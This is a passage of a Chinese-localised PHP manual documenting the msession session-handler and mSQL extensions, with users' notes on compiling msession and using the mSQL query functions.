For example, if you want to sort results by date, do this:
udm_set_agent_param_ex($udm_agent, 's', 'DR');
See http://www.mnogosearch.org/doc/msearch-doingsearch.html for details
GneralTsao
19-Jul-2005 02:27
One useful parameter not documented above is UDM_PARAM_SYNONYM.  If you understand how this API works in general, you should be able to figure it out, but here goes anyway:

<?php
/* Make sure that PHP is able to find the file.  Unlike mnogosearch's indexer and search.cgi, it doesn't know the directory of the installation. */
$synFile="/usr/local/mnogosearch/etc/synonym/english.syn";
udm_set_agent_param($agent, UDM_PARAM_SYNONYM, $synFile);
?>

Piece of cake.

For more about mnogosearch's handling of synonyms see http://www.mnogosearch.org/doc/msearch-fuzzy.html#synonyms
add a note add a note

后退 | 起点 | 前进
udm_open_stored | 上一级 | Mohawk Software Session Handler Functions


Mohawk Software Session Handler Functions

PHP 手册
后退 前进

LXXX. Mohawk Software Session Handler Functions

简介

msession is an interface to a high speed session daemon which can run either locally or remotely. It is designed to provide consistent session management for a PHP web farm. More Information about msession and the session server software itself can be found at http://devel.mohawksoft.com/msession.html.

注: 本扩展模块在 Windows 平台下不可用。

需求

安装

To enable Msession support configure PHP --with-msession[=DIR], where DIR is the Msession install directory.

运行时配置

资源类型

预定义常量

目录
msession_connect -- Connect to msession server
msession_count -- Get session count
msession_create -- Create a session
msession_destroy -- Destroy a session
msession_disconnect -- Close connection to msession server
msession_find -- Find all sessions with name and value
msession_get_array -- Get array of msession variables
msession_get_data -- Get data session unstructured data
msession_get -- Get value from session
msession_inc -- Increment value in session
msession_list -- List all sessions
msession_listvar -- List sessions with variable
msession_lock -- Lock a session
msession_plugin -- Call an escape function within the msession personality plugin
msession_randstr -- Get random string
msession_set_array -- Set msession variables from an array
msession_set_data -- Set data session unstructured data
msession_set -- Set value in session
msession_timeout -- Set/get session timeout
msession_uniq -- Get unique id
msession_unlock -- Unlock a session

add a note add a note User Contributed Notes
martijn at pocos dot nl
16-Aug-2005 07:42
Trying to build PHP 5.0.4. with msession support (shared), I found that the build process still fails to link the proper libraries. I think the proper way to fix this, is to change ext/msession/config.m4 and rebuild configure.

Find the line that reads:

PHP_ADD_LIBRARY_WITH_PATH(phoenix, "$PHOENIX_DIR/lib", PHOENIX_LIB)

And replace it with these two lines:

PHP_ADD_LIBRARY_WITH_PATH(phoenix, "$PHOENIX_DIR/lib", MSESSION_SHARED_LIBADD)
PHP_ADD_LIBRARY_WITH_PATH(stdc++, "", MSESSION_SHARED_LIBADD)

Next find the line that reads:

PHP_SUBST(PHOENIX_LIB)

and replace it with:

PHP_SUBST(MSESSION_SHARED_LIBADD)

Now rebuild "configure":

$ rm configure
$ ./buildconf --force

Now ./configure && make && make install as usual.
markw at mohawksoft dot com
13-Aug-2005 08:10
Hi all, I'm the author of the msession daemon. I haven't done any actual work on it in a couple years. Suddenly, I find myself needing it again. It's current state is almost certainly VERY different than you are used too, and it as been renamed to mcache (internally to Mohawk Software). I may ramp up work on it again.

In the course of the 5 years that msession being made available, I've gotten a lot of calls for support, and one bug fix. (And not a single donation BTW)

A decisions needs to be made if "mcache" will continue to be available.  I don't mind people using it, I don't mind that I've made no money on it (that's not why I wrote it), but the desperate "my server farm is down" calls because a working system died when the admin deployed changes with out adaquite testing are a huge distraction. In good conscience, I can't let the poor guy twist in the wind, but sometimes it takes hours to fix. Hours away from work that pays my bills or my family. Apache 2.0 with multiple threads really caused a lot of problems.

So, I guess what I'm saying is this: msession will become mcache (publically) some time in the future. On modern hardware it can handle about 5,000 ~10,000 session transactions a second (depending on the amount of data in the session, and the conectivity to the nodes, etc.) I may keep it on my server, but I can't support it for you without being paid up front. If you use it: learn it, know it, live it, and contribute if you can.
08-Aug-2005 08:29
I could not compile it on FreeBSD. On a 4.x msession complained about missing pthread library. On a 5.x, it was not happy with malloc.h. Ok, I could dig into that problem and find the problem. But I was not motivated...

I found that there is 1 100% PHP Solution for distributed session handling:
http://pear.php.net/package/HTTP_SessionServer/
sgaffga at electronicpartner dot de
14-Jul-2005 05:18
We wanted to use the default-PHP4-RPMs delivered with RedHat and SuSE, and use msession, too. But there is no package containing the precompiled msession-support for PHP. So I did this on my own and I found it very hard, so I'd like to provide the solution here.

The files php-msession-030117.tar.gz, phoenix-R1_2_030117E.tar.gz and msession-030130.tar.gz are
available at www.mohawksoft.com.

## Compiling the phoenix lib
tar xzf phoenix-R1_2_030117E.tar.gz
tar xzf msession-030130.tar.gz
cd phoenix/src/
cp Linux.mak config.mak
vi unixgcc.mak
(Now change "-I$(POSTGRES_HOME)/include" to "-I /usr/include/pgsql" which is needed to compile using SuSE 9.3)
make
mkdir ../lib
make install

## Compiling msession server
cd ..
cd msession
make
mkdir ../bin
make install

## Now untar PHP-Source and replace the files in ext/msession/ with the ones supplied by php-msession-030117.tar.gz
## Configure PHP and include --with-msession=shared,/path/to/phoenix-src-used-above
## Please note: Compile will fail if you use --disable-session or --disable-all
## For example use:
./configure --prefix=/usr/local --with-config-file-path=/etc --disable-all --enable-session --with-msession=shared,/home/sga/compile/phoenix

make

## Now there is a msession.so in modules/, but this one does NOT work yet.
## I had to repeat the libtool-command with "--mode=link gcc" and add some libs:
## before the last parameter I added:
## -lstdc++ -lodbc -L/home/sga/compile/phoenix/lib/ -lphoenix
## This was the command I used (you will have to use other paths of course)
/bin/sh /home/sga/compile/php-4.3.10/libtool --silent --preserve-dup-deps --mode=link gcc -DPHP_ATOM_INC -I/home/sga/compile/php-4.3.10/include -I/home/sga/compile/php-4.3.10/main -I/home/sga/compile/php-4.3.10 -I/home/sga/compile/php-4.3.10/Zend -I/home/sga/compile/php-4.3.10/ext/xml/expat  -I/home/sga/compile/php-4.3.10/TSRM  -g -O2  -o ext/msession/msession.la -export-dynamic -avoid-version -prefer-pic -module -rpath /home/sga/compile/php-4.3.10/modules  -lstdc++ -lodbc -L/home/sga/compile/phoenix/lib/ -lphoenix ext/msession/msession.lo

## Now I could do:

cp ext/msession/.libs/msession.so /usr/local/lib/php/extensions/no-debug-non-zts-20020429

## (Please note the different location I copy the module from)
## Adjust your php.ini to contain "extension=msession.so" and
## "extension_path =/usr/local/lib/php/extensions/no-debug-non-zts-20020429"

rcapache2 restart

## Now it worked fine! I hope this helps someone.
r_linux at yahoo dot com
13-Apr-2005 11:33
To compile with --with-msession, you have to make a change in Makefile to add -lstdc++. For me the LDFLAGS=-lstdc++ before ./configure don't work.

That modification works for me:
sed -e 's/^\(EXTRA_LIBS\)\(.*\)$/\1\2 -lstdc++/g' Makefile -i

I think that have some better way to do it.
temp6453 at hotmail dot com
11-Mar-2005 05:21
A company I work for uses msession for a large cluster of servers.  I've set it up rather regularly and never had an issue at all with it not working.

Msession is stable.  It does something simple- it maintains an efficient database of key->value (session->data) pairs and searches them well in a nice threaded manner.  There is no need for constant revision.  It is _NOT_ a large application.  It's security is simply IP-block-based, so such concerns are also minimal.

To the user that says it should be removed- if you are having problems installing it, seek assistance doing so.  The product itself is just right.
Weird Silence
01-Feb-2005 09:19
We've created a distributed session handler that uses memcached - Check it out at http://weirdsilence.net/software/memsession/ - It's free and open source!
It uses Danga.com's memcached: http://danga.com/memcached/ - Very cool stuff!
aderyngmailcom
07-Nov-2004 07:52
Compiling msession can be quite a pain. Believe me.

Here's how I did it on a gentoo-box with gcc version 3.3.4 (20040623 (Gentoo Linux 3.3.4-r1, ssp-3.3.2-2, pie-8.7.6)):

1. Download http://www.mohawksoft.com/devel/phoenix-R1_2_030117E.tar.gz and http://www.mohawksoft.com/devel/msession-030130.tar.gz
2. Extract them in /usr/local (That path is hardcoded, so you don't really have a choice since there isn't a configure script)
3. You should now the directory /usr/local/phoenix containing msession and src.
4. Enter the src-directory and rename Linux.mak to config.mak (or the corresponding file, if you're using another system. Don't use unixgcc.mak directly - it won't work.).
5. Type make
6. Type make install. You might have to create /usr/local/phoenix/lib yourself and then type make install again.
7. Change into the msession-directory and type make.

For both msession and phoenix you may have to edit the makefiles manually and comment out the postgreesql and odbc-code (if you don't have postgree installed).

8. Recompile php with --with-msession.

Voil
mathijs at experimental dot net
14-Sep-2002 12:02
msession 1.0 (020603) is using /dev/urandom.
a dot whyte at cqu dot edu dot au
09-May-2002 08:53
You can fix the no random data in FreeBSD's /dev/random by using rndcontrol (as root) and setting the interupts which it looks at for entropy.

Something like  rndcontrol -s 14 -s 15  should help it out.
carsten at sarum dot dk
07-May-2002 06:12
If you have trouble connecting to the msessiond from a php-script, this might be the solution for you.

msessiond (and your php-extension) both use the libphoenix.a which, among other files, is built from a file called "mutils.cpp".

Open this file, and find a line saying:

FILE *f = fopen("/dev/random", "rb");

(I believe it is line 506. There's only this one.)

On my FreeBSD 4.5 Tiny, /dev/random seldom spits out data, so the program hangs on the next line (an fread() call). Use /dev/urandom instead, it always sends data.

Change the line above to:

FILE *f = fopen("/dev/urandom", "rb");

Then rebuild phoenix-lib, msessiond, and PHP. You might want to do a "make clean" to be sure the change is noted.

- Carsten
add a note add a note

后退 | 起点 | 前进
udm_set_agent_param | 上一级 | msession_connect


msession_connect

(PHP 4 >= 4.2.0, PHP 5)

msession_connect -- Connect to msession server

Description

bool msession_connect ( string host, string port )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Mohawk Software Session Handler Functions | 上一级 | msession_count


msession_count

(PHP 4 >= 4.2.0, PHP 5)

msession_count -- Get session count

Description

int msession_count ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_connect | 上一级 | msession_create


msession_create

(PHP 4 >= 4.2.0, PHP 5)

msession_create -- Create a session

Description

bool msession_create ( string session )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_count | 上一级 | msession_destroy


msession_destroy

(PHP 4 >= 4.2.0, PHP 5)

msession_destroy -- Destroy a session

Description

bool msession_destroy ( string name )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_create | 上一级 | msession_disconnect


msession_disconnect

(PHP 4 >= 4.2.0, PHP 5)

msession_disconnect -- Close connection to msession server

Description

void msession_disconnect ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_destroy | 上一级 | msession_find


msession_find

(PHP 4 >= 4.2.0, PHP 5)

msession_find -- Find all sessions with name and value

Description

array msession_find ( string name, string value )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_disconnect | 上一级 | msession_get_array


msession_get_array

(PHP 4 >= 4.2.0, PHP 5)

msession_get_array -- Get array of msession variables

Description

array msession_get_array ( string session )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_find | 上一级 | msession_get_data


msession_get_data

(PHP 4 >= 4.2.0, PHP 5)

msession_get_data -- Get data session unstructured data

Description

string msession_get_data ( string session )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_get_array | 上一级 | msession_get


msession_get

(PHP 4 >= 4.2.0, PHP 5)

msession_get -- Get value from session

Description

string msession_get ( string session, string name, string value )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_get_data | 上一级 | msession_inc


msession_inc

(PHP 4 >= 4.2.0, PHP 5)

msession_inc -- Increment value in session

Description

string msession_inc ( string session, string name )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_get | 上一级 | msession_list


msession_list

(PHP 4 >= 4.2.0, PHP 5)

msession_list -- List all sessions

Description

array msession_list ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_inc | 上一级 | msession_listvar


msession_listvar

(PHP 4 >= 4.2.0, PHP 5)

msession_listvar -- List sessions with variable

Description

array msession_listvar ( string name )

Returns an associative array of value/session for all sessions with a variable named name.

Used for searching sessions with common attributes.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_list | 上一级 | msession_lock


msession_lock

(PHP 4 >= 4.2.0, PHP 5)

msession_lock -- Lock a session

Description

int msession_lock ( string name )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_listvar | 上一级 | msession_plugin


msession_plugin

(PHP 4 >= 4.2.0, PHP 5)

msession_plugin -- Call an escape function within the msession personality plugin

Description

string msession_plugin ( string session, string val [, string param] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_lock | 上一级 | msession_randstr


msession_randstr

(PHP 4 >= 4.2.0, PHP 5)

msession_randstr -- Get random string

Description

string msession_randstr ( int param )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_plugin | 上一级 | msession_set_array


msession_set_array

(PHP 4 >= 4.2.0, PHP 5)

msession_set_array -- Set msession variables from an array

Description

void msession_set_array ( string session, array tuples )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_randstr | 上一级 | msession_set_data


msession_set_data

(PHP 4 >= 4.2.0, PHP 5)

msession_set_data -- Set data session unstructured data

Description

bool msession_set_data ( string session, string value )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_set_array | 上一级 | msession_set


msession_set

(PHP 4 >= 4.2.0, PHP 5)

msession_set -- Set value in session

Description

bool msession_set ( string session, string name, string value )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_set_data | 上一级 | msession_timeout


msession_timeout

(PHP 4 >= 4.2.0, PHP 5)

msession_timeout -- Set/get session timeout

Description

int msession_timeout ( string session [, int param] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_set | 上一级 | msession_uniq


msession_uniq

(PHP 4 >= 4.2.0, PHP 5)

msession_uniq -- Get unique id

Description

string msession_uniq ( int param )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
markw at mohawksoft dot com
17-Aug-2005 08:43
msession_uniq is designed to create a guaranteed unique session handle.
add a note add a note

后退 | 起点 | 前进
msession_timeout | 上一级 | msession_unlock


msession_unlock

(PHP 4 >= 4.2.0, PHP 5)

msession_unlock -- Unlock a session

Description

int msession_unlock ( string session, int key )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msession_uniq | 上一级 | mSQL Functions


mSQL Functions

PHP 手册
后退 前进

LXXXI. mSQL Functions

简介

These functions allow you to access mSQL database servers. More information about mSQL can be found at http://www.hughes.com.au/.

安装

In order to have these functions available, you must compile PHP with msql support by using the --with-msql[=DIR] option. DIR is the mSQL base install directory, defaults to /usr/local/msql3.

Note to Win32 Users: In order to enable this module on a Windows environment, you must copy msql.dll from the DLL folder of the PHP/Win32 binary package to the SYSTEM32 folder of your windows machine. (Ex: C:\WINNT\SYSTEM32 or C:\WINDOWS\SYSTEM32)

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. mSQL configuration options

Name | Default | Changeable | Changelog
msql.allow_persistent | "1" | PHP_INI_ALL |
msql.max_persistent | "-1" | PHP_INI_ALL |
msql.max_links | "-1" | PHP_INI_ALL |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

msql.allow_persistent boolean

Whether to allow persistent mSQL connections.

msql.max_persistent integer

The maximum number of persistent mSQL connections per process.

msql.max_links integer

The maximum number of mSQL connections per process, including persistent connections.

资源类型

There are two resource types used in the mSQL module. The first one is the link identifier for a database connection, the second a resource which holds the result of a query.

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

MSQL_ASSOC (integer)

MSQL_NUM (integer)

MSQL_BOTH (integer)

范例

This simple example shows how to connect, execute a query, print resulting rows and disconnect from a mSQL database.

例子 1. mSQL usage example

<?php
/* Connecting, selecting database */
$link = msql_connect('localhost', 'username', 'password')
    or die('Could not connect : ' . msql_error($link));

msql_select_db('database', $link)
    or die('Could not select database');

/* Issue SQL query */
$query = 'SELECT * FROM my_table';
$result = msql_query($query, $link) or die('Query failed : ' . msql_error($link));

/* Printing results in HTML */
echo "<table>\n";
while ($row = msql_fetch_array($result, MSQL_ASSOC)) {
    echo "\t<tr>\n";
    foreach ($row as $col_value) {
        echo "\t\t<td>$col_value</td>\n";
    }
    echo "\t</tr>\n";
}
echo "</table>\n";

/* Free result set */
msql_free_result($result);

/* Close connection */
msql_close($link);
?>

目录
msql_affected_rows -- Returns number of affected rows
msql_close -- Close mSQL connection
msql_connect -- Open mSQL connection
msql_create_db -- Create mSQL database
msql_createdb -- 别名 msql_create_db()
msql_data_seek -- Move internal row pointer
msql_db_query -- Send mSQL query
msql_dbname -- 别名 msql_result()
msql_drop_db -- Drop (delete) mSQL database
msql_error -- Returns error message of last msql call
msql_fetch_array -- Fetch row as array
msql_fetch_field -- Get field information
msql_fetch_object -- Fetch row as object
msql_fetch_row -- Get row as enumerated array
msql_field_flags -- Get field flags
msql_field_len -- Get field length
msql_field_name -- Get the name of the specified field in a result
msql_field_seek -- Set field offset
msql_field_table -- Get table name for field
msql_field_type -- Get field type
msql_fieldflags -- Alias of msql_field_flags()
msql_fieldlen -- Alias of msql_field_len()
msql_fieldname -- Alias of msql_field_name()
msql_fieldtable -- Alias of msql_field_table()
msql_fieldtype -- Alias of msql_field_type()
msql_free_result -- Free result memory
msql_list_dbs -- List mSQL databases on server
msql_list_fields -- List result fields
msql_list_tables -- List tables in an mSQL database
msql_num_fields -- Get number of fields in result
msql_num_rows -- Get number of rows in result
msql_numfields -- Alias of msql_num_fields()
msql_numrows -- Alias of msql_num_rows()
msql_pconnect -- Open persistent mSQL connection
msql_query -- Send mSQL query
msql_regcase -- Alias of sql_regcase()
msql_result -- Get result data
msql_select_db -- Select mSQL database
msql_tablename -- Alias of msql_result()
msql -- Alias of msql_db_query()

add a note add a note User Contributed Notes
acroyear at io dot com
16-May-2000 05:11
To those porting code from w3-msql/lite to php, a few functions are different or missing (aside from the fact that the order of arguments is reversed and the other signatures are different...not good design work, imho, or was it built for msql 1.x?  At any rate, conformity with the C and Lite API should have been maintained.).

The lite/C function msqlStoreResult() is automatically done in msql_query() and msql().
msql_fetch_field() doesn't give you the field length value (unlike msqlFetchField()).  You have to call msql_fieldlen() to get that.

msqlEncode() is missing.  The functionality (which is needed for pretty much ALL SQL based rdbms's) is in addSlashes() in the String library.
add a note add a note

后退 | 起点 | 前进
msession_unlock | 上一级 | msql_affected_rows


msql_affected_rows

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

msql_affected_rows -- Returns number of affected rows

说明

int msql_affected_rows ( resource result )

Returns number of affected rows by the last SELECT, UPDATE or DELETE query associated with result.

参数

result

返回类型为 resource 的结果集。该结果集从 msql_query() 的调用中得到。

返回值

Returns the number of affected rows on success, or FALSE on error.

参见

msql_query()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mSQL Functions | 上一级 | msql_close


msql_close

(PHP 3, PHP 4, PHP 5)

msql_close -- Close mSQL connection

说明

bool msql_close ( [resource link_identifier] )

msql_close() closes the non-persistent connection to the mSQL server that's associated with the specified link identifier.

Using msql_close() isn't usually necessary, as non-persistent open links are automatically closed at the end of the script's execution. See also freeing resources.

参数

link_identifier

mSQL 的连接标识符。如果没有指定，默认使用最后被 msql_connect() 打开的连接。如果没有找到该连接，函数会尝试通过调用 msql_connect() 建立连接并使用它。

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

msql_connect()
msql_pconnect()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_affected_rows | 上一级 | msql_connect


msql_connect

(PHP 3, PHP 4, PHP 5)

msql_connect -- Open mSQL connection

说明

resource msql_connect ( [string hostname] )

msql_connect() establishes a connection to a mSQL server.

In case a second call is made to msql_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned.

The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling msql_close().

参数

hostname

The hostname can also include a port number. e.g. hostname,port.

If not specified, the connection is established by the means of a Unix domain socket, being then more efficient then a localhost TCP socket connection.

注: While this function will accept a colon (:) as a host/port separator, a comma (,) is the preferred method.

返回值

Returns a positive mSQL link identifier on success, or FALSE on error.

参见

msql_pconnect()
msql_close()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_close | 上一级 | msql_create_db


msql_create_db

(PHP 3, PHP 4, PHP 5)

msql_create_db -- Create mSQL database

说明

bool msql_create_db ( string database_name [, resource link_identifier] )

msql_create_db() attempts to create a new database on the mSQL server.

参数

database_name

The name of the mSQL database.

link_identifier

mSQL 的连接标识符。如果没有指定，默认使用最后被 msql_connect() 打开的连接。如果没有找到该连接，函数会尝试通过调用 msql_connect() 建立连接并使用它。

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

msql_drop_db()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_connect | 上一级 | msql_createdb


msql_createdb

(PHP 3, PHP 4, PHP 5)

msql_createdb -- 别名 msql_create_db()

说明

本函数是该函数的别名： msql_create_db().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_create_db | 上一级 | msql_data_seek


msql_data_seek

(PHP 3, PHP 4, PHP 5)

msql_data_seek -- Move internal row pointer

说明

bool msql_data_seek ( resource result, int row_number )

msql_data_seek() moves the internal row pointer of the mSQL result associated with the specified query identifier to point to the specified row number. The next call to msql_fetch_row() would return that row.

参数

result

返回类型为 resource 的结果集。该结果集从 msql_query() 的调用中得到。

row_number

The seeked row number.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

msql_fetch_array()
msql_fetch_object()
msql_fetch_row()
msql_result()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_createdb | 上一级 | msql_db_query


msql_db_query

(PHP 3, PHP 4, PHP 5)

msql_db_query -- Send mSQL query

说明

resource msql_db_query ( string database, string query [, resource link_identifier] )

msql_db_query() selects a database and executes a query on it.

参数

database

The name of the mSQL database.

query

The SQL query.

link_identifier

mSQL 的连接标识符。如果没有指定，默认使用最后被 msql_connect() 打开的连接。如果没有找到该连接，函数会尝试通过调用 msql_connect() 建立连接并使用它。

返回值

Returns a positive mSQL query identifier to the query result, or FALSE on error.

参见

msql_query()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_data_seek | 上一级 | msql_dbname


msql_dbname

(PHP 3, PHP 4, PHP 5)

msql_dbname -- 别名 msql_result()

说明

本函数是该函数的别名： msql_result().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_db_query | 上一级 | msql_drop_db


msql_drop_db

(PHP 3, PHP 4, PHP 5)

msql_drop_db -- Drop (delete) mSQL database

说明

bool msql_drop_db ( string database_name [, resource link_identifier] )

msql_drop_db() attempts to drop (remove) a database from the mSQL server.

参数

database_name

The name of the database.

link_identifier

mSQL 的连接标识符。如果没有指定，默认使用最后被 msql_connect() 打开的连接。如果没有找到该连接，函数会尝试通过调用 msql_connect() 建立连接并使用它。

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

msql_create_db()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_dbname | 上一级 | msql_error


msql_error

(PHP 3, PHP 4, PHP 5)

msql_error -- Returns error message of last msql call

说明

string msql_error ( void )

msql_error() returns the last issued error by the mSQL server. Note that only the last error message is accessible with msql_error().

返回值

The last error message or an empty string if no error was issued.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_drop_db | 上一级 | msql_fetch_array


msql_fetch_array

(PHP 3, PHP 4, PHP 5)

msql_fetch_array -- Fetch row as array

说明

array msql_fetch_array ( resource result [, int result_type] )

msql_fetch_array() is an extended version of msql_fetch_row(). In addition to storing the data in the numeric indices of the result array, it also stores the data in associative indices, using the field names as keys.

An important thing to note is that using msql_fetch_array() is NOT significantly slower than using msql_fetch_row(), while it provides a significant added value.

参数

result

返回类型为 resource 的结果集。该结果集从 msql_query() 的调用中得到。

result_type

A constant that can take the following values: MSQL_ASSOC, MSQL_NUM, and MSQL_BOTH with MSQL_BOTH being the default.

返回值

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

范例

例子 1. msql_fetch_array() example

<?php
$con = msql_connect();
if (!$con) {
    die('Server connection problem: ' . msql_error());
}

if (!msql_select_db('test', $con)) {
    die('Database connection problem: ' . msql_error());
}

$result = msql_query('SELECT id, name FROM people', $con);
if (!$result) {
    die('Query execution problem: ' . msql_error());
}

while ($row = msql_fetch_array($result, MSQL_ASSOC)) {
    echo $row['id'] . ': ' . $row['name'] . "\n";
}

msql_free_result($result);
?>

更新日志

版本 | 说明
4.3.11 and 5.0.4 | A bug was fixed when retrieving data from columns containing NULL values. Such columns were not placed into the resulting array.

参见

msql_fetch_row()
msql_fetch_object()
msql_data_seek()
msql_result()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_error | 上一级 | msql_fetch_field


msql_fetch_field

(PHP 3, PHP 4, PHP 5)

msql_fetch_field -- Get field information

说明

object msql_fetch_field ( resource result [, int field_offset] )

msql_fetch_field() can be used in order to obtain information about fields in a certain query result.

参数

result

返回类型为 resource 的结果集。该结果集从 msql_query() 的调用中得到。

field_offset

The field offset. If not specified, the next field that wasn't yet retrieved by msql_fetch_field() is retrieved.

返回值

Returns an object containing field information. The properties of the object are:

  • name - column name

  • table - name of the table the column belongs to

  • not_null - 1 if the column cannot be NULL

  • unique - 1 if the column is a unique key

  • type - the type of the column

参见

msql_field_seek()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_fetch_array | 上一级 | msql_fetch_object


msql_fetch_object

(PHP 3, PHP 4, PHP 5)

msql_fetch_object -- Fetch row as object

说明

object msql_fetch_object ( resource result )

msql_fetch_object() is similar to msql_fetch_array(), with one difference - an object is returned, instead of an array. Indirectly, that means that you can only access the data by the field names, and not by their offsets (numbers are illegal property names).

Speed-wise, the function is identical to msql_fetch_array(), and almost as quick as msql_fetch_row() (the difference is insignificant).

参数

result

返回类型为 resource 的结果集。该结果集从 msql_query() 的调用中得到。

返回值

Returns an object with properties that correspond to the fetched row, or FALSE if there are no more rows.

范例

例子 1. msql_fetch_object() example

<?php
$con = msql_connect();
if (!$con) {
    die('Server connection problem: ' . msql_error());
}

if (!msql_select_db('test', $con)) {
    die('Database connection problem: ' . msql_error());
}

$result = msql_query('SELECT id, name FROM people', $con);
if (!$result) {
    die('Query execution problem: ' . msql_error());
}

while ($row = msql_fetch_object($result, MSQL_ASSOC)) {
    echo $row->id . ': ' . $row->name . "\n";
}

msql_free_result($result);
?>

更新日志

版本 | 说明
4.3.11 and 5.0.4 | A bug was fixed when retrieving data from columns containing NULL values. Such columns were not placed into the resulting array.

参见

msql_fetch_array()
msql_fetch_row()
msql_data_seek()
msql_result()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msql_fetch_field | 上一级 | msql_fetch_row


msql_fetch_row

(PHP 3, PHP 4, PHP 5)

msql_fetch_row -- Get row as enumerated array

说明

array msql_fetch_row ( resource result )

msql_fetch_row() fetches one row of data from the result associated with the specified query identifier. The row is returned as an array. Each result column is stored in an array offset, starting at offset 0.

Subsequent call to msql_fetch_row() would return the next row in the result set, or FALSE if there are no more rows.

参数

result

返回类型为 resource 的结果集。该结果集从 msql_query() 的调用中得到。

返回值

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

范例

例子 1. msql_fetch_row() example

<?php
$con = msql_connect();
if (!$con) {
    die('Server connection problem: ' . msql_error());
}

if (!msql_select_db('test', $con)) {
    die('Database connection problem: ' . msql_error());
}

$result = msql_query('SELECT id, name FROM people', $con);
if (!$result) {
    die('Query execution problem: ' . msql_error());
}

while ($row = msql_fetch_row($result)) {
    echo $row[0] . ': ' . $row[1] . "\n";
}

msql_free_result($result);
?>

更新日志

版本 | 说明
4.3.11 and 5.0.4 | A bug was fixed when retrieving data from columns containing NULL values. Such columns were not placed into the resulting array.

参见

msql_fetch_array()
msql_fetch_object()
msql_data_seek()
msql_result()

add a note add a note User Contributed Notes
Kenneth Redpath
07-Jul-2005 07:15
Modification to the above code to make it work. Spelling Errors.

<?php
$con = mysql_connect();
if (!$con) {
   die('Server connection problem: ' . mysql_error());
}

if (!mysql_select_db('test', $con)) {
   die('Database connection problem: ' . mysql_error());
}

$result = mysql_query('SELECT id, name FROM people', $con);
if (!$result) {
   die('Query execution problem: ' . mysql_error());
}

while ($row = mysql_fetch_row($result)) {
   echo $row[0] . ': ' . $row[1] . "\n";
}

mysql_free_result($result);
?>
add a note add a note

后退 | 起点 | 前进
msql_fetch_object | 上一级 | msql_field_flags


msql_field_flags

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

msql_field_flags -- Get field flags

说明

